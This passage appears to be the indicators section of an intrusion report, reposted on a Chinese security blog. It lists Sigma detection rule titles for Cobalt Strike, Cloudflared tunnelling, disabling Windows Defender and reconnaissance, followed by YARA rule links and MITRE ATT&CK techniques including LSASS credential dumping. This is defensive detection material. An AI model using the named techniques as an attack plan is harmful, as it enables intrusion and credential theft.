a7c3d773-caef-227e-a7e7-c2f13c622329 : Bad Opsec Defaults Sacrificial Processes With Improper Arguments9a019ffc-3580-4c9d-8d87-079f7e8d3fd4 : Cloudflared Tunnel Executiona1d9eec5-33b2-4177-8d24-27fe754d0812 : Cloudflared Tunnels Related DNS Requestsd5601f8c-b26f-4ab0-9035-69e11a8d4ad2 : CobaltStrike Named Pipe5a105d34-05fc-401e-8553-272b45c1522d : CobaltStrike Service Installations - System bf361876-6620-407a-812f-bfe11e51e924 : Compressed File Extraction Via Tar.EXE0eb46774-f1ab-4a74-8238-1155855f2263 : Disable Windows Defender Functionalities Via Registry Keys36e037c4-c228-4866-b6a3-48eb292b9955 : DNS Query Request By Regsvr32.EXE9c14c9fa-1a63-4a64-8e57-d19280559490 : Invoke-Obfuscation Via Stdin9e50a8b3-dd05-4eb8-9153-bdb6b79d50b0 : Msxsl.EXE Executionc7e91a02-d771-4a6d-a700-42587e0b1095 : Network Connection Initiated By Regsvr32.EXEcd219ff3-fa99-45d4-8380-a7d15116c6dc : New User Created Via Net.EXE5cc90652-4cbd-4241-aa3b-4b462fa5a248 : Potential Recon Activity Via Nltest.EXE6f0947a4-1c5e-4e0d-8ac7-53159b8f23ca : Potentially Suspicious Child Process Of Regsvr326385697e-9f1b-40bd-8817-f4a91f40508e : PowerShell Base64 Encoded Invoke Keyword9a132afa-654e-11eb-ae93-0242ac130002 : PUA - AdFind Suspicious Execution02d1d718-dd13-41af-989d-ea85c7fab93f : Rare Remote Thread Creation By Uncommon Source Image9525dc73-0327-438c-8c04-13c0e037e9da : Regsvr32 Execution From Potential Suspicious Locationc3a99af4-35a9-4668-879e-c09aeb4f2bdf : Rundll32 Execution With Uncommon DLL Extension1775e15e-b61b-4d14-a1a3-80981298085a : Rundll32 Execution Without CommandLine Parameters8e0bb260-d4b2-4fff-bb8d-3f82118e6892 : Suspicious CMD Shell Output Redirectfff9d2b7-e11c-4a69-93d3-40ef66189767 : Suspicious Copy From or To System Directorye0b06658-7d1d-4cd3-bf15-03467507ff7c : Suspicious DotNET CLR Usage Log Artifactfb843269-508c-4b76-8b8d-88679db22ce7 : Suspicious Execution of Powershell with Base64d95de845-b83c-4a9a-8a6a-4fc802ebf6c0 : Suspicious Group And Account Reconnaissance Activity Using Net.EXEdd2a821e-3b07-4d3b-a9ac-929fe4c6ca0c : Suspicious Scheduled Task Creation via Masqueraded XML Fileb5de0c9a-6f19-43e0-af4e-55ad01f550af : Unsigned DLL Loaded by Windows Utility8de1cbe8-d6f5-496d-8237-5f44a721c7a0 : Whoami.EXE Execution Anomalyc30fb093-1109-4dc8-88a8-b30d11c95a5d : Whoami.EXE Execution With Output Optionb28e58e4-2a72-4fae-bdee-0fbe904db642 : Windows Defender Real-time Protection Disabled3a6586ad-127a-4d3b-a677-1e6eacdf8fde : Windows Shell/Scripting Processes Spawning Suspicious Programs
Yara
https://github.com/The-DFIR-Report/Yara-Rules/blob/main/27899/27899.yar
External Rules:
https://github.com/chronicle/GCTI/blob/main/YARA/CobaltStrike/CobaltStrike__Resources_Httpsstager64_Bin_v3_2_through_v4_x.yara
https://github.com/Neo23x0/signature-base/blob/master/yara/apt_cobaltstrike_evasive.yar#L16
https://github.com/avast/ioc/blob/master/CobaltStrike/yara_rules/cs_rules.yar#L306
https://github.com/Neo23x0/signature-base/blob/master/yara/apt_cobaltstrike.yar#L90
https://github.com/Neo23x0/signature-base/blob/master/yara/apt_cobaltstrike.yar#L54
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar#L1037
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar#L829
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar#L1058
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar#L849
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Metasploit.yar#L41
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Metasploit.yar#L121
https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L963C5-L963C6
MITRE ATT&CK
Browser Information Discovery - T1217Create Account - T1136Credentials from Password Stores - T1555Disable or Modify Tools - T1562.001Domain Account - T1087.002Domain Groups - T1069.002Domain Trust Discovery - T1482Exploitation for Privilege Escalation - T1068File and Directory Discovery - T1083File Deletion - T1070.004Ingress Tool Transfer - T1105Local Account - T1087.001Local Groups - T1069.001LSASS Memory - T1003.001Malicious File - T1204.002Network Service Discovery - T1046Network Share Discovery - T1135Phishing - T1566PowerShell - T1059.001Protocol Tunneling - T1572Proxy - T1090Python - T1059.006Remote Desktop Protocol - T1021.001Remote System Discovery - T1018Scheduled Task - T1053.005Security Software Discovery - T1518.001
原文始发于微信公众号(Desync InfoSec):丸美简历入侵案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论